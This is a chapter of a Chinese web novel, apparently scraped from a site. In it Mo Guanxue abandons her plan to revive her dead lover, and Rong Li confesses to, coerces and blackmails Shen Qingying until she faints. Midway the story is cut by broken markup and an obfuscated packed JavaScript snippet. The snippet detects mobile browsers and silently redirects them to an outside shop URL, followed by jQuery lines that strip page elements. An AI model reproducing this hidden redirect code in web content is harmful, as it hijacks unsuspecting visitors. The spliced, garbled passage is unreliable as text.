沈清莹登上出城方向的马车。
这天沈天石难得心情好,又有容漓贴身看管,便允她出府一日。
容漓告诉她,莫观雪被软禁在沈家洛水城外的一个山水别府。
此处清静偏僻,平日里不会有人去那里,不过风景尚佳,这样沈清莹也有了理由为什么要去那里。
肉舍利现在被镶嵌在了她的凤冠头面上,代替了原先的红宝石位置。这么说,莫观雪没有从素喜那里拿到三颗舍利子。
沈清莹从屏风走出,瞧见莫观雪坐在堂中的软榻,正仔细用手绢一点点擦拭着心爱之物。走近才看清,是一块青色的玉佩,岫玉成色,不值一提。
莫观雪看见她也毫无意外,仿佛在等她一般。
“在九经堂跑堂的时候,我已经把神京的各处摸排清楚了,这里是城南,沈府的一个故居,说起来沈姑娘的祖母曾经住过这里。”
所以她清楚是谁将她困在此处。若以她的功夫,想要逃出去也不难。
“沈姑娘,我以为沈府家规严厉,沈姑娘出嫁前无法出门,所以便没有同你告别。还好,现在说也不算晚。我要走了,回渝州。”她解释道。
沈清莹实在无法理解。她不明白,那夜明明赌对了,为什么没有赢?为什么要走?
“你要走?你——”
话止于口,一方面是生气,另一方面是她怕说出口的一字一句太过伤人。
你不救孟扶疏了?
他活不过来也没关系吗?
你就这么轻飘飘地回去了?
“你知不知道,五月初一,下雨了。”沈清莹道。
“我承认,利用傅怀桑对你的感情让他祭雨这件事是我卑鄙。可是既然已经有了结果,你为什么不干脆接受这样的结果?这有什么不好?”
难不成,是傅怀桑……所以她忘了孟扶疏。
在拯救爱人的路上,爱上了另外的一个人……
莫观雪不知道自己已被误会,叹了一口气,神色自若道:“沈姑娘,我发现了一件之前从来没有想过的问题。”
“扶疏自己想不想活过来呢?”
沈清莹瞳色微缩。
她也未从设想过这一方面,便有了极强的念头,想听莫观雪继续说下去。
“我想复活他,看似是为他,其实一直是出于我自己的私心。”
“他因救人死于渝州,尸体葬在家乡潮州,送葬队伍浩浩荡荡,人尽皆知。一个人死了十年,坟头草都长了又黄十次,就算活过来,别人只会把他当成一个怪物,到时候,无论扶疏愿不愿意,他就只能依靠我生活。”
“沈姑娘,不是我接受不了你的方式。我没有那么高尚。如果有一天,扶疏问我,他是怎么活过来的。那时候,我实在是——”
“问心有愧。”
这四个字一出,沈清莹的心脏紧了又紧。
她想到了上一世慕容淮是自尽。慕容淮连想要活下去的念头都没有了,就算三颗舍利子的事情是真的,就算她拿到了,又怎么样呢……
最终只会让慕容淮倍加痛苦地活在她的执念里。她这么做,和容漓又有什么区别。
沈清莹怔在原地,醍醐灌顶。
莫观雪笑道:“不过,我有点对不住你。”
“我没有料到五月初一真的会下雨,当时只觉得不可能了,没有必要挣扎,便直接放弃掉了。其实可以试试,毕竟沈姑娘也很想要。”
“看来只能靠你自己了,我们日后有缘再见。”
转眼间,莫观雪已经收拾好了包袱。
她知道,沈清莹会放她走的。
——“无论吉凶祸福,都敢去做的人,才有资格叩问天意。”
素喜的这句话说的应该就是,莫观雪吧。
他早已猜到莫观雪会迷途知返,所以对她说这句话,也是想让她也像莫观雪一样学会放下。
但……如果“天意”要让她放手,为何要让她从熙漪十年的雪地重返人间?
沈清莹想不明白。
……
沈府别居外,长桥亭上。
春意明媚,百无聊赖。
“怎么,你喜欢的那个女道士走了,你这么伤心?”容漓背身将手搭在栏杆上,仰头问她。
“大动干戈出府就是为了她,真搞不懂你究竟在想些什么。”
沈清莹失神问道:“傅怀桑怎么样了?”
容漓摇了摇头,摆手:“少使唤我,我可不是你的手下。”
为了三颗舍利子,她一时心急,做了本来不该做的事情。现如今莫观雪走了,她才冷静下来。回过头想想,明知傅怀桑是无辜的,还撺掇他用命祭雨,她简直是在胡闹。
“容漓,我变得越来越像我父亲了。我身上带着他的血,我以后是不是还会变成他的那个样子……”
视人命如草芥,玩弄人心权术,变成了小时候最讨厌的模样。
容漓试着想了想,沈清莹和沈天石可不是能同日而语的。
若论沈天石残害的那些人,一个宫殿都装不下。她这才哪到哪,况且她做的也没什么啊。要是沈天石跟她一样,这么敏感较真,早活不下去了。
他手里的人命亦不少,自是习惯如此。
“我们本就是恶人,没必要这么伪善。”容漓道。
他的一句话下来,沈清莹顿时被戳中心窝,不知是出于羞愧还是什么。
……她原本就是恶人吗?
明明答应了小桃,明明是想做一个好人,却不知道该怎么做,伤害到了更多无辜的人。
沈清莹忽然有种,怎么也学不会走路的辛酸。
想做好人的话,她是不是应该换一个脑子?
“……能不能帮我,给九经堂捐一些善款。或者,还有什么能补救的事情。”她闷声闷气道。
面对这样的沈清莹,容漓有些惊奇,未曾设想她会是这种反应。那只向来露出利爪攻击他的养不熟的猫儿,反而异常地向他坦露着柔软的肚皮。
容漓回想,沈清莹今日说的话,其实是在向他袒露心声吧?他们之间的关系终于缓和亲近一些了吗?
她对他有些改观。容漓怎么想,觉得现在都是趁虚而入的好机会。
“好。”
容漓绞尽脑汁,才想出来一句满意的话,再不说出口,就要风干了。
好,决定了。
“我觉得你做得没什么不好。若你不愿意做这些事情,我来做。”他鼓起勇气道。
她不想脏手,那就脏他的手好了。反正他不像沈清莹这般在乎人命。
沈清莹抬眼,难以相信,愣了一下,“什么?”
容漓抓住她的手腕,目光灼灼,“沈清莹,我带你走。以后我和你在一起。”
“……”
啊?
啊啊啊啊啊啊啊啊啊啊啊?
带她走?带去哪?他要干什么?
她她她……她都要成亲了!什么时候说过要离开神京?
她没说过这种话吧!
而且从容漓的嘴巴里说出来,怎么看都是像拐卖。
纤白手腕被捏得用力,已经揉红了一圈。沈清莹一团乱麻,不知所云,“不是,我……你等等……你先放开我再说。”
他却将她逼退至亭子角落。
容漓认真起来:“若我不要皇位,沈清莹,忘记慕容淮,对你来说有多难?”
“我……”
她完全搞不懂容漓在做什么。
这个假设她做不来。
不要皇位,那眼前的男人就绝对不是容漓。上一世他隐忍蛰伏十年,才终于如愿以偿,没有人比他更想当皇帝。
沈清莹久久未应。
一脸难以置信。
容漓这是……被谁弄疯了?
他最讨厌她装傻充愣的模样,以为这样便能蒙混过关。
容漓贴近她的耳旁,呵出热气,压低声音:“你别想了。你和慕容淮绝无可能,我们才是一路人。这一世,要么只要你,要么皇位和你我都要。”
沈清莹的脸黑了一瞬。
“放开我。”
“我根本听不懂你在说什么。”
他被她一瞬间变冰冷的眼神所震慑,随后冷静下来,下意识错愕地松开了手。
“容漓,我们不是朋友,更不是亲人,少干涉我的事情,我会做好父亲安排的事情。而且我不止一次提醒,男女授受不亲,更何况我马上就要成亲了。所以不要碰我,说这些自以为是的话,让人恶心。”
她很恶心……
就这么接受不了吗……
容漓不怒反笑。
那些喜欢豢养野猫的主人……尤是面对曾被狠狠伤害过的不被爱过的幼猫,无论怎么撒野,都是极有耐心。
容漓养过猫。他很享受养猫,东宫的时候便养过一只流浪的小白猫,给它取名字,吃好的、用好的,让宫人把它当作主子伺候着。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480099|201687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
但这份享受是建立在总有一天,猫儿会开始信任他,被他感化,变得温顺粘人的期待之上。
所以,等到他有一天醒来,发现自己被那只该死的贱猫咬得鲜血淋漓的时候,便吩咐宫人将白猫弄死了。
他怜爱的时候,对方最好接受。如果太过忤逆,会让他先前那些美好的心思一去不复返。
只剩下最浓的恨意。
“……”
“我大抵真是疯了,才会对你如此低三下四。沈清莹,你觉得慕容淮知不知道,他一直以来见到的沈二小姐其实是个冒牌货。”容漓自嘲道。
沈清莹紧抿着唇,眼神飘忽。
她差点儿忘了,容漓会是日后那个阴鸷暴戾、嗜杀好虐的浔阳王。将他惹急了,恐怕什么事情都做得出来。
他还未进行下一步动作,便发现眼前一双充满戒备和杀意的眼睛,正死死盯着他。
“你想做什么?”
沈清莹这副久违的模样,他再清楚不过。
上一世慕容淮死后,无论他如何羞辱她,她都未曾施舍半分眼神,直到带她去城楼门口,强制她去看慕容淮腐烂发臭的尸身。
当时她也是这般,恨不得把他扒皮抽筋,刀山火海,死后下十八层修罗地狱。
只可惜,他死后没下成地狱。
就算是做鬼,也是缠着她。
容漓黑眸微凝,心头生起一阵妥帖的快意。他忽然不执着于她的爱了。这种怎么也得不到的东西,不要也罢。
沈清莹愈是挣扎反抗,愈是不合他意,他越是有掌控欲。他想要她的恨。
越恨越好。
至今放不下慕容淮吗。
没关系。
得不到心的话,先得到身体也可以。
十七的沈清莹,还有着处子之身。正好,以前他还稍微有点介意,虽然封过她的后位,但沈清莹的第一次没有给他。
容漓舔唇,眼珠下移,微微勾起唇角,极其恶劣地干笑两声,笑意生寒。
“我想干什么……”
他脸不红心不跳,极尽羞辱:“新娘子,你的婚期还足足有五日。为兄想帮你的夫君提前验验成色。”
恶心吗?
他还可以更恶心一点。
“滚。”她眼中浮动的杀意和作呕更深一层。
掌风带着十足力道扇向他的脸。不像之前的小打小闹,沈清莹有武学功底,这次是真的被惹恼了,因而很快,他的左脸高高地肿了起来。
很痛,也很痛快。
他承认,他不是什么好人,本来就是这样卑劣,一个轻浮的浪荡子。一步步诱哄小猫出笼的把戏,他不愿意慢慢玩了。
虽然可以强来,但容漓觉得甚是没意思,还是要沈清莹主动才有趣。
“不答应,我就把你所有事情告诉他。两年前你背叛他……如今还瞒着他到神京替嫁。慕容淮也是够蠢够可怜了,自己的枕边人都分不清。你说,他会不会当场疯掉?”
“我找人慢慢地,一字一句详尽诉出。好让他知道,你是个什么样子的人,他到时候,会怎么看你?真的好想知道慕容淮的反应。”
“他会不会像上辈子那样……”
“别说了!”沈清莹制止。
脑海里的画面,被迫随着容漓的话语而变化,恍惚之间变得越来越真实,一幕接一幕,真切地发生在她眼前……最后停留在了,记忆中那场惨白的大雪里。
慕容淮看了她最后一眼,嘴唇开开合合。
耳腔响起激烈急促的鸣音,不断刺激着她。
“不要跳!”
一阵声嘶力竭,血泪浸出。
她情绪激动,眼前一黑,毫无预兆地直接晕了过去。
……
躲在长桥亭偷听的沈家小厮,匆匆忙忙地往回赶。
沈二小姐和容少爷好像吵起来了!
只是因距离太远,没听清楚内容,他要赶紧回去和老爷报个风声。
却在路上一时不慎,没看清,撞到了一个他绝对意想不到之人。
“陛、陛下……”
慕容淮瞥了一眼慌慌张张的小厮,顺着轨迹望向江波之上的亭桥。
乌色亭檐下,一个红衣男子怀里抱起一个女子,转过身,阴沉地同他对上了目光。
慕容淮记起来,这人……是阿莹向他提过的,出现在花朝宴上的那个神秘男子,阿莹的义兄,容漓。
原来……是他啊。